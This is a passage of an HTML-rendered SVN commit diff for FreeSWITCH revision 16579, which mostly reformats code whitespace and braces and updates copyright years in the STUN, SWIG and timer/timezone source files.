</del><ins>+        attribute = (switch_stun_packet_attribute_t *) ((uint8_t *) & packet->first_attribute + ntohs(packet->header.length));
</ins><span class="cx">         attribute->type = htons(SWITCH_STUN_ATTR_USERNAME);
</span><span class="cx">         attribute->length = htons(ulen);
</span><span class="cx">         if (username) {
</span><span class="lines">@@ -432,10 +432,10 @@
</span><span class="cx"> {
</span><span class="cx">         switch_sockaddr_t *addr = NULL;
</span><span class="cx">         char buf[30];
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_sockaddr_info_get(&addr, host, SWITCH_UNSPEC, 0, 0, pool);
</span><span class="cx">         return switch_core_strdup(pool, switch_str_nil(switch_get_addr(buf, sizeof(buf), addr)));
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_stun_lookup(char **ip,
</span><span class="lines">@@ -508,7 +508,7 @@
</span><span class="cx">                 buf[bytes++] = 0;
</span><span class="cx">                 buf[bytes++] = 0;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_socket_sendto(sock, remote_addr, 0, (void *) packet, &bytes);
</span><span class="cx">         started = switch_micro_time_now();
</span><span class="cx">
</span><span class="lines">@@ -549,7 +549,7 @@
</span><span class="cx">                 case SWITCH_STUN_ATTR_MAPPED_ADDRESS:
</span><span class="cx">                         if (attr->type) {
</span><span class="cx">                                 if (funny) {
</span><del>-                                        switch_stun_ip_t *tmp = (switch_stun_ip_t *)attr->value;
</del><ins>+                                        switch_stun_ip_t *tmp = (switch_stun_ip_t *) attr->value;
</ins><span class="cx">                                         tmp->address ^= ntohl(0xabcdabcd);
</span><span class="cx">                                 }
</span><span class="cx">                                 switch_stun_packet_attribute_get_mapped_address(attr, rip, &rport);
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_swigc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_swig.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_swig.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_swig.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_timec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_time.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_time.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_time.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -54,7 +54,7 @@
</span><span class="cx"> static int MONO = 0;
</span><span class="cx"> #endif
</span><span class="cx">
</span><del>-#if defined(HAVE_CLOCK_NANOSLEEP)
</del><ins>+#if defined(HAVE_CLOCK_NANOSLEEP)
</ins><span class="cx"> static int NANO = 1;
</span><span class="cx"> #else
</span><span class="cx"> static int NANO = 0;
</span><span class="lines">@@ -139,7 +139,7 @@
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx"> #endif
</span><del>-        
</del><ins>+
</ins><span class="cx"> #if defined(HAVE_CLOCK_NANOSLEEP)
</span><span class="cx">         t -= OFFSET;
</span><span class="cx">         ts.tv_sec = t / 1000000;
</span><span class="lines">@@ -155,7 +155,7 @@
</span><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx"> #if defined(DARWIN)
</span><del>-sched_yield();
</del><ins>+        sched_yield();
</ins><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx"> }
</span><span class="lines">@@ -165,7 +165,7 @@
</span><span class="cx">         int x = 0;
</span><span class="cx">         switch_time_t start, stop, sum = 0;
</span><span class="cx">
</span><del>-        for(x = 0; x < reps; x++) {
</del><ins>+        for (x = 0; x < reps; x++) {
</ins><span class="cx">                 start = switch_time_now();
</span><span class="cx">                 do_sleep(t);
</span><span class="cx">                 stop = switch_time_now();
</span><span class="lines">@@ -173,7 +173,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         return sum / reps;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> #define calc_step() if (step > 11) step -= 10; else if (step > 1) step--
</span><span class="lines">@@ -196,29 +196,29 @@
</span><span class="cx">         }
</span><span class="cx"> #endif
</span><span class="cx">
</span><del>- top:
</del><ins>+ top:
</ins><span class="cx">         val = 1000;
</span><span class="cx">         step = 50;
</span><span class="cx">         over = under = good = 0;
</span><span class="cx">         OFFSET = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (x = 0; x < 100; x++) {
</span><span class="cx">                 avg = average_time(val, 50);
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Test: %ld Average: %ld Step: %d\n", (long)val, (long)avg, step);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Test: %ld Average: %ld Step: %d\n", (long) val, (long) avg, step);
</ins><span class="cx">
</span><del>-                diff = abs((int)(want - avg));
</del><ins>+                diff = abs((int) (want - avg));
</ins><span class="cx">                 if (diff > 1500) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
</ins><span class="cx">                                                          "Abnormally large timer gap %d detected!\n"
</span><span class="cx">                                                          "Do you have your kernel timer set to higher than 1 kHz? You may experience audio problems.\n", diff);
</span><span class="cx">                         do_sleep(5000000);
</span><span class="cx">                         switch_time_set_cond_yield(SWITCH_TRUE);
</span><span class="cx">                         return;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (diff <= 100) {
</span><span class="cx">                         lastgood = (int) val;
</span><del>-                }
</del><ins>+                }
</ins><span class="cx">
</span><span class="cx">                 if (diff <= 2) {
</span><span class="cx">                         under = over = 0;
</span><span class="lines">@@ -227,19 +227,25 @@
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="cx">                 } else if (avg > want) {
</span><del>-                        if (under) {calc_step();}
</del><ins>+                        if (under) {
+                                calc_step();
+                        }
</ins><span class="cx">                         under = good = 0;
</span><span class="cx">                         if ((val - step) < 0) {
</span><del>-                                if (++retry > 2) break;
</del><ins>+                                if (++retry > 2)
+                                        break;
</ins><span class="cx">                                 goto top;
</span><span class="cx">                         }
</span><span class="cx">                         val -= step;
</span><span class="cx">                         over++;
</span><span class="cx">                 } else if (avg < want) {
</span><del>-                        if (over) {calc_step();}
</del><ins>+                        if (over) {
+                                calc_step();
+                        }
</ins><span class="cx">                         over = good = 0;
</span><span class="cx">                         if ((val - step) < 0) {
</span><del>-                                if (++retry > 2) break;
</del><ins>+                                if (++retry > 2)
+                                        break;
</ins><span class="cx">                                 goto top;
</span><span class="cx">                         }
</span><span class="cx">                         val += step;
</span><span class="lines">@@ -248,10 +254,10 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (good >= 10) {
</span><del>-                OFFSET = (int)(want - val);
</del><ins>+                OFFSET = (int) (want - val);
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Timer offset of %d calculated\n", OFFSET);
</span><span class="cx">         } else if (lastgood) {
</span><del>-                OFFSET = (int)(want - lastgood);
</del><ins>+                OFFSET = (int) (want - lastgood);
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Timer offset of %d calculated (fallback)\n", OFFSET);
</span><span class="cx">                 switch_time_set_cond_yield(SWITCH_TRUE);
</span><span class="cx">         } else {
</span><span class="lines">@@ -291,7 +297,7 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(void) switch_time_set_nanosleep(switch_bool_t enable)
</span><span class="cx"> {
</span><del>-#if defined(HAVE_CLOCK_NANOSLEEP)
</del><ins>+#if defined(HAVE_CLOCK_NANOSLEEP)
</ins><span class="cx">         NANO = enable ? 1 : 0;
</span><span class="cx"> #endif
</span><span class="cx"> }
</span><span class="lines">@@ -344,13 +350,12 @@
</span><span class="cx">                 do_sleep(t);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifndef DISABLE_1MS_COND
</span><span class="cx">         if (globals.use_cond_yield == 1) {
</span><span class="cx">                 switch_cond_yield(t);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-#endif        
</del><ins>+#endif
</ins><span class="cx">
</span><span class="cx">         do_sleep(t);
</span><span class="cx"> }
</span><span class="lines">@@ -362,7 +367,6 @@
</span><span class="cx">                 os_yield();
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef DISABLE_1MS_COND
</span><span class="cx">         do_sleep(1000);
</span><span class="cx"> #else
</span><span class="lines">@@ -379,14 +383,15 @@
</span><span class="cx"> SWITCH_DECLARE(void) switch_cond_yield(switch_interval_time_t t)
</span><span class="cx"> {
</span><span class="cx">         switch_time_t want;
</span><del>-        if (!t) return;
</del><ins>+        if (!t)
+                return;
</ins><span class="cx">
</span><span class="cx">         if (globals.RUNNING != 1 || !runtime.timestamp || globals.use_cond_yield != 1) {
</span><span class="cx">                 do_sleep(t);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx">         want = runtime.timestamp + t;
</span><del>-        while(globals.RUNNING == 1 && globals.use_cond_yield == 1 && runtime.timestamp < want) {
</del><ins>+        while (globals.RUNNING == 1 && globals.use_cond_yield == 1 && runtime.timestamp < want) {
</ins><span class="cx">                 switch_mutex_lock(TIMER_MATRIX[1].mutex);
</span><span class="cx">                 if (runtime.timestamp < want) {
</span><span class="cx">                         switch_thread_cond_wait(TIMER_MATRIX[1].cond, TIMER_MATRIX[1].mutex);
</span><span class="lines">@@ -499,10 +504,10 @@
</span><span class="cx"> #else
</span><span class="cx">         int cond_index = 1;
</span><span class="cx"> #endif
</span><del>-        int delta = (int)(private_info->reference - TIMER_MATRIX[timer->interval].tick);
</del><ins>+        int delta = (int) (private_info->reference - TIMER_MATRIX[timer->interval].tick);
</ins><span class="cx">
</span><span class="cx">         /* sync up timer if it's not been called for a while otherwise it will return instantly several times until it catches up */
</span><del>-        if (delta < -1) {
</del><ins>+        if (delta < -1) {
</ins><span class="cx">                 private_info->reference = timer->tick = TIMER_MATRIX[timer->interval].tick;
</span><span class="cx">         }
</span><span class="cx">         timer_step(timer);
</span><span class="lines">@@ -514,14 +519,14 @@
</span><span class="cx">
</span><span class="cx">         while (globals.RUNNING == 1 && private_info->ready && TIMER_MATRIX[timer->interval].tick < private_info->reference) {
</span><span class="cx">                 check_roll();
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (session_manager.session_count > runtime.tipping_point) {
</span><span class="cx">                         os_yield();
</span><span class="cx">                 } else {
</span><span class="cx">                         if (globals.use_cond_yield == 1) {
</span><span class="cx">                                 switch_mutex_lock(TIMER_MATRIX[cond_index].mutex);
</span><span class="cx">                                 if (TIMER_MATRIX[timer->interval].tick < private_info->reference) {
</span><del>-                                        switch_thread_cond_wait(TIMER_MATRIX[cond_index].cond, TIMER_MATRIX[cond_index].mutex);        
</del><ins>+                                        switch_thread_cond_wait(TIMER_MATRIX[cond_index].cond, TIMER_MATRIX[cond_index].mutex);
</ins><span class="cx">                                 }
</span><span class="cx">                                 switch_mutex_unlock(TIMER_MATRIX[cond_index].mutex);
</span><span class="cx">                         } else {
</span><span class="lines">@@ -530,7 +535,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">         return globals.RUNNING == 1 ? SWITCH_STATUS_SUCCESS : SWITCH_STATUS_FALSE;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -633,10 +638,10 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">         switch_time_sync();
</span><del>-        
</del><ins>+
</ins><span class="cx">         globals.use_cond_yield = COND;
</span><span class="cx">         globals.RUNNING = 1;
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (globals.RUNNING == 1) {
</span><span class="cx">                 runtime.reference += STEP_MIC;
</span><span class="cx">                 while ((ts = time_now(runtime.offset)) < runtime.reference) {
</span><span class="lines">@@ -705,7 +710,6 @@
</span><span class="cx">                         switch_mutex_unlock(runtime.throttle_mutex);
</span><span class="cx">                         tick = 0;
</span><span class="cx">                 }
</span><del>-
</del><span class="cx"> #ifndef DISABLE_1MS_COND
</span><span class="cx">                 TIMER_MATRIX[1].tick++;
</span><span class="cx">                 if (switch_mutex_trylock(TIMER_MATRIX[1].mutex) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -725,12 +729,11 @@
</span><span class="cx">                                         if (TIMER_MATRIX[x].count) {
</span><span class="cx">                                                 TIMER_MATRIX[x].tick++;
</span><span class="cx"> #ifdef DISABLE_1MS_COND
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (TIMER_MATRIX[x].mutex && switch_mutex_trylock(TIMER_MATRIX[x].mutex) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         switch_thread_cond_broadcast(TIMER_MATRIX[x].cond);
</span><span class="cx">                                                         switch_mutex_unlock(TIMER_MATRIX[x].mutex);
</span><span class="cx">                                                 }
</span><del>-                                                
</del><span class="cx"> #endif
</span><span class="cx">                                                 if (TIMER_MATRIX[x].tick == MAX_TICK) {
</span><span class="cx">                                                         TIMER_MATRIX[x].tick = 0;
</span><span class="lines">@@ -747,7 +750,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         globals.use_cond_yield = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (x = MS_PER_TICK; x <= MAX_ELEMENTS; x += MS_PER_TICK) {
</span><span class="cx">                 if (TIMER_MATRIX[x].mutex && switch_mutex_trylock(TIMER_MATRIX[x].mutex) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_thread_cond_broadcast(TIMER_MATRIX[x].cond);
</span><span class="lines">@@ -771,26 +774,26 @@
</span><span class="cx"> and use switch_* functions for the output.
</span><span class="cx"> */
</span><span class="cx">
</span><del>-static void tm2switchtime(struct tm * tm, switch_time_exp_t *xt )
</del><ins>+static void tm2switchtime(struct tm *tm, switch_time_exp_t *xt)
</ins><span class="cx"> {
</span><span class="cx">
</span><span class="cx">         if (!xt || !tm) {
</span><del>-         return;
</del><ins>+                return;
</ins><span class="cx">         }
</span><del>-        memset( xt, 0, sizeof(xt) );
</del><ins>+        memset(xt, 0, sizeof(xt));
</ins><span class="cx">
</span><del>-        xt->tm_sec         = tm->tm_sec;
-        xt->tm_min         = tm->tm_min;
-        xt->tm_hour         = tm->tm_hour;
-        xt->tm_mday         = tm->tm_mday;
-        xt->tm_mon         = tm->tm_mon;
-        xt->tm_year         = tm->tm_year;
-        xt->tm_wday         = tm->tm_wday;
-        xt->tm_yday         = tm->tm_yday;
-        xt->tm_isdst         = tm->tm_isdst;
</del><ins>+        xt->tm_sec = tm->tm_sec;
+        xt->tm_min = tm->tm_min;
+        xt->tm_hour = tm->tm_hour;
+        xt->tm_mday = tm->tm_mday;
+        xt->tm_mon = tm->tm_mon;
+        xt->tm_year = tm->tm_year;
+        xt->tm_wday = tm->tm_wday;
+        xt->tm_yday = tm->tm_yday;
+        xt->tm_isdst = tm->tm_isdst;
</ins><span class="cx">
</span><span class="cx"> #if defined(HAVE_STRUCT_TM_TM_GMTOFF)
</span><del>-        xt->tm_gmtoff         = tm->tm_gmtoff;
</del><ins>+        xt->tm_gmtoff = tm->tm_gmtoff;
</ins><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx">         return;
</span><span class="lines">@@ -808,14 +811,14 @@
</span><span class="cx"> static switch_timezones_list_t TIMEZONES_LIST = { 0 };
</span><span class="cx"> static switch_event_node_t *NODE = NULL;
</span><span class="cx">
</span><del>-const char *switch_lookup_timezone( const char *tz_name )
</del><ins>+const char *switch_lookup_timezone(const char *tz_name)
</ins><span class="cx"> {
</span><span class="cx">         char *value = NULL;
</span><span class="cx">
</span><del>-        if ( tz_name && (value = switch_core_hash_find(TIMEZONES_LIST.hash, tz_name))==NULL ) {
-         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Timezone '%s' not found!\n", tz_name);
</del><ins>+        if (tz_name && (value = switch_core_hash_find(TIMEZONES_LIST.hash, tz_name)) == NULL) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Timezone '%s' not found!\n", tz_name);
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return value;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -840,7 +843,7 @@
</span><span class="cx">                 if ((x_lists = switch_xml_child(cfg, "timezones"))) {
</span><span class="cx">                         for (x_list = switch_xml_child(x_lists, "zone"); x_list; x_list = x_list->next) {
</span><span class="cx">                                 const char *name = switch_xml_attr(x_list, "name");
</span><del>-                                const char *value= switch_xml_attr(x_list, "value");
</del><ins>+                                const char *value = switch_xml_attr(x_list, "value");
</ins><span class="cx">
</span><span class="cx">                                 if (zstr(name)) {
</span><span class="cx">                                         continue;
</span><span class="lines">@@ -850,16 +853,14 @@
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><span class="cx">
</span><del>-                                switch_core_hash_insert(TIMEZONES_LIST.hash,
-                                                                                name,
-                                                                                switch_core_strdup(TIMEZONES_LIST.pool, value) );
</del><ins>+                                switch_core_hash_insert(TIMEZONES_LIST.hash, name, switch_core_strdup(TIMEZONES_LIST.pool, value));
</ins><span class="cx">                                 total++;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_xml_free(xml);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Timezone %sloaded %d definitions\n", reload ? "re" : "", total);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -870,7 +871,7 @@
</span><span class="cx">         switch_mutex_unlock(globals.mutex);
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static void tztime(const time_t * const timep, const char *tzstring, struct tm * const tmp );
</del><ins>+static void tztime(const time_t *const timep, const char *tzstring, struct tm *const tmp);
</ins><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_time_exp_tz_name(const char *tz, switch_time_exp_t *tm, switch_time_t thetime)
</span><span class="cx"> {
</span><span class="lines">@@ -878,24 +879,24 @@
</span><span class="cx">         const char *tz_name = tz;
</span><span class="cx">         const char *tzdef;
</span><span class="cx">         time_t timep;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!thetime) {
</span><span class="cx">                 thetime = switch_micro_time_now();
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        timep = (thetime) / (int64_t) (1000000);
</del><ins>+        timep = (thetime) / (int64_t) (1000000);
</ins><span class="cx">
</span><span class="cx">         if (!zstr(tz_name)) {
</span><del>-                tzdef = switch_lookup_timezone( tz_name );
</del><ins>+                tzdef = switch_lookup_timezone(tz_name);
</ins><span class="cx">         } else {
</span><span class="cx">                 /* We set the default timezone to GMT. */
</span><del>-                tz_name="GMT";
-                tzdef="GMT";
</del><ins>+                tz_name = "GMT";
+                tzdef = "GMT";
</ins><span class="cx">         }
</span><del>-        
-        if (tzdef) { /* The lookup of the zone may fail. */
-                tztime( &timep, tzdef, &xtm );
-                tm2switchtime( &xtm, tm);
</del><ins>+
+        if (tzdef) {                                /* The lookup of the zone may fail. */
+                tztime(&timep, tzdef, &xtm);
+                tm2switchtime(&xtm, tm);
</ins><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -919,19 +920,19 @@
</span><span class="cx">                 thetime = switch_micro_time_now();
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        timep = (thetime) / (int64_t) (1000000);
</del><ins>+        timep = (thetime) / (int64_t) (1000000);
</ins><span class="cx">
</span><span class="cx">         if (!zstr(tz_name)) {
</span><del>-                tzdef = switch_lookup_timezone( tz_name );
</del><ins>+                tzdef = switch_lookup_timezone(tz_name);
</ins><span class="cx">         } else {
</span><span class="cx">                 /* We set the default timezone to GMT. */
</span><del>-                tz_name="GMT";
-                tzdef="GMT";
</del><ins>+                tz_name = "GMT";
+                tzdef = "GMT";
</ins><span class="cx">         }
</span><del>-        
-        if (tzdef) { /* The lookup of the zone may fail. */
-                tztime( &timep, tzdef, &tm );
-                tm2switchtime( &tm, &stm );
</del><ins>+
+        if (tzdef) {                                /* The lookup of the zone may fail. */
+                tztime(&timep, tzdef, &tm);
+                tm2switchtime(&tm, &stm);
</ins><span class="cx">                 switch_strftime_nocheck(date, &retsize, len, zstr(format) ? "%Y-%m-%d %T" : format, &stm);
</span><span class="cx">                 if (!zstr_buf(date)) {
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -948,7 +949,7 @@
</span><span class="cx"> #if defined(WIN32)
</span><span class="cx">         timeBeginPeriod(1);
</span><span class="cx"> #endif
</span><del>-        
</del><ins>+
</ins><span class="cx">         memset(&globals, 0, sizeof(globals));
</span><span class="cx">         switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, module_pool);
</span><span class="cx">
</span><span class="lines">@@ -971,7 +972,7 @@
</span><span class="cx">         if (!switch_test_flag((&runtime), SCF_USE_CLOCK_RT)) {
</span><span class="cx">                 switch_time_set_nanosleep(SWITCH_FALSE);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag((&runtime), SCF_USE_COND_TIMING)) {
</span><span class="cx">                 switch_time_set_cond_yield(SWITCH_TRUE);
</span><span class="cx">         }
</span><span class="lines">@@ -1062,7 +1063,7 @@
</span><span class="cx"> #ifndef TZ_MAX_TYPES
</span><span class="cx">
</span><span class="cx"> #ifndef NOSOLAR
</span><del>-#define TZ_MAX_TYPES        256 /* Limited by what (unsigned char)'s can hold */
</del><ins>+#define TZ_MAX_TYPES        256                /* Limited by what (unsigned char)'s can hold */
</ins><span class="cx"> #endif /* !defined NOSOLAR */
</span><span class="cx">
</span><span class="cx"> #ifdef NOSOLAR
</span><span class="lines">@@ -1070,18 +1071,18 @@
</span><span class="cx"> ** Must be at least 14 for Europe/Riga as of Jan 12 1995,
</span><span class="cx"> ** as noted by Earl Chew <earl@hpato.aus.hp.com>.
</span><span class="cx"> */
</span><del>-#define TZ_MAX_TYPES        20        /* Maximum number of local time types */
</del><ins>+#define TZ_MAX_TYPES        20                /* Maximum number of local time types */
</ins><span class="cx"> #endif /* !defined NOSOLAR */
</span><span class="cx">
</span><span class="cx"> #endif /* !defined TZ_MAX_TYPES */
</span><span class="cx">
</span><span class="cx"> #ifndef TZ_MAX_CHARS
</span><del>-#define TZ_MAX_CHARS        50        /* Maximum number of abbreviation characters */
</del><ins>+#define TZ_MAX_CHARS        50                /* Maximum number of abbreviation characters */
</ins><span class="cx">                                 /* (limited by what unsigned chars can hold) */
</span><span class="cx"> #endif /* !defined TZ_MAX_CHARS */
</span><span class="cx">
</span><span class="cx"> #ifndef TZ_MAX_LEAPS
</span><del>-#define TZ_MAX_LEAPS        50        /* Maximum number of leap second corrections */
</del><ins>+#define TZ_MAX_LEAPS        50                /* Maximum number of leap second corrections */
</ins><span class="cx"> #endif /* !defined TZ_MAX_LEAPS */
</span><span class="cx">
</span><span class="cx"> #ifdef TZNAME_MAX
</span><span class="lines">@@ -1103,8 +1104,8 @@
</span><span class="cx"> #define SECSPERDAY        ((long) SECSPERHOUR * HOURSPERDAY)
</span><span class="cx"> #define MONSPERYEAR        12
</span><span class="cx">
</span><del>-#define JULIAN_DAY                0        /* Jn - Julian day */
-#define DAY_OF_YEAR                1        /* n - day of year */
</del><ins>+#define JULIAN_DAY                0                /* Jn - Julian day */
+#define DAY_OF_YEAR                1                /* n - day of year */
</ins><span class="cx"> #define MONTH_NTH_DAY_OF_WEEK        2        /* Mm.n.d - month, week, day of week */
</span><span class="cx">
</span><span class="cx"> #define EPOCH_YEAR        1970
</span><span class="lines">@@ -1204,51 +1205,51 @@
</span><span class="cx">         
</span><span class="cx"> ************************************************************************** */
</span><span class="cx">
</span><del>-static const char        gmt[] = "GMT";
</del><ins>+static const char gmt[] = "GMT";
</ins><span class="cx">
</span><span class="cx"> #define CHARS_DEF BIGGEST(BIGGEST(TZ_MAX_CHARS + 1, sizeof gmt), (2 * (MY_TZNAME_MAX + 1)))
</span><span class="cx">
</span><span class="cx"> struct rule {
</span><del>-        int                r_type;                /* type of rule--see below */
-        int                r_day;                /* day number of rule */
-        int                r_week;                /* week number of rule */
-        int                r_mon;                /* month number of rule */
-        long                r_time;                /* transition time of rule */
</del><ins>+        int r_type;                                        /* type of rule--see below */
+        int r_day;                                        /* day number of rule */
+        int r_week;                                        /* week number of rule */
+        int r_mon;                                        /* month number of rule */
+        long r_time;                                /* transition time of rule */
</ins><span class="cx"> };
</span><span class="cx">
</span><del>-struct ttinfo {                                /* time type information */
-        long                tt_gmtoff;        /* UTC offset in seconds */
-        int                tt_isdst;        /* used to set tm_isdst */
-        int                tt_abbrind;        /* abbreviation list index */
-        int                tt_ttisstd;        /* TRUE if transition is std time */
-        int                tt_ttisgmt;        /* TRUE if transition is UTC */
</del><ins>+struct ttinfo {                                        /* time type information */
+        long tt_gmtoff;                                /* UTC offset in seconds */
+        int tt_isdst;                                /* used to set tm_isdst */
+        int tt_abbrind;                                /* abbreviation list index */
+        int tt_ttisstd;                                /* TRUE if transition is std time */
+        int tt_ttisgmt;                                /* TRUE if transition is UTC */
</ins><span class="cx"> };
</span><span class="cx">
</span><del>-struct lsinfo {                                /* leap second information */
-        time_t                ls_trans;        /* transition time */
-        long                ls_corr;        /* correction to apply */
</del><ins>+struct lsinfo {                                        /* leap second information */
+        time_t ls_trans;                        /* transition time */
+        long ls_corr;                                /* correction to apply */
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> struct state {
</span><del>-        int                leapcnt;
-        int                timecnt;
-        int                typecnt;
-        int                charcnt;
-        time_t                ats[TZ_MAX_TIMES];
-        unsigned char        types[TZ_MAX_TIMES];
-        struct ttinfo        ttis[TZ_MAX_TYPES];
-        char                chars[/* LINTED constant */CHARS_DEF];
-        struct lsinfo        lsis[TZ_MAX_LEAPS];
</del><ins>+        int leapcnt;
+        int timecnt;
+        int typecnt;
+        int charcnt;
+        time_t ats[TZ_MAX_TIMES];
+        unsigned char types[TZ_MAX_TIMES];
+        struct ttinfo ttis[TZ_MAX_TYPES];
+        char chars[ /* LINTED constant */ CHARS_DEF];
+        struct lsinfo lsis[TZ_MAX_LEAPS];
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx">
</span><del>-static const int        mon_lengths[2][MONSPERYEAR] = {
-        { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 },
-        { 31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 }
</del><ins>+static const int mon_lengths[2][MONSPERYEAR] = {
+        {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31},
+        {31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}
</ins><span class="cx"> };
</span><span class="cx">
</span><del>-static const int        year_lengths[2] = {
</del><ins>+static const int year_lengths[2] = {
</ins><span class="cx">         DAYSPERNYEAR, DAYSPERLYEAR
</span><span class="cx"> };
</span><span class="cx">
</span><span class="lines">@@ -1268,9 +1269,8 @@
</span><span class="cx"> {
</span><span class="cx">         register char c;
</span><span class="cx">
</span><del>-        while ((c = *strp) != '\0' && !is_digit(c) && c != ',' && c != '-' &&
-                c != '+')
-                        ++strp;
</del><ins>+        while ((c = *strp) != '\0' && !is_digit(c) && c != ',' && c != '-' && c != '+')
+                ++strp;
</ins><span class="cx">         return strp;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1282,10 +1282,10 @@
</span><span class="cx"> Otherwise, return a pointer to the first character not part of the number.
</span><span class="cx"> */
</span><span class="cx">
</span><del>-static const char *getnum(register const char *strp, int * const nump, const int min, const int max)
</del><ins>+static const char *getnum(register const char *strp, int *const nump, const int min, const int max)
</ins><span class="cx"> {
</span><del>-        register char        c;
-        register int        num;
</del><ins>+        register char c;
+        register int num;
</ins><span class="cx">
</span><span class="cx">         if (strp == NULL || !is_digit(c = *strp))
</span><span class="cx">                 return NULL;
</span><span class="lines">@@ -1293,11 +1293,11 @@
</span><span class="cx">         do {
</span><span class="cx">                 num = num * 10 + (c - '0');
</span><span class="cx">                 if (num > max)
</span><del>-                        return NULL;        /* illegal value */
</del><ins>+                        return NULL;                /* illegal value */
</ins><span class="cx">                 c = *++strp;
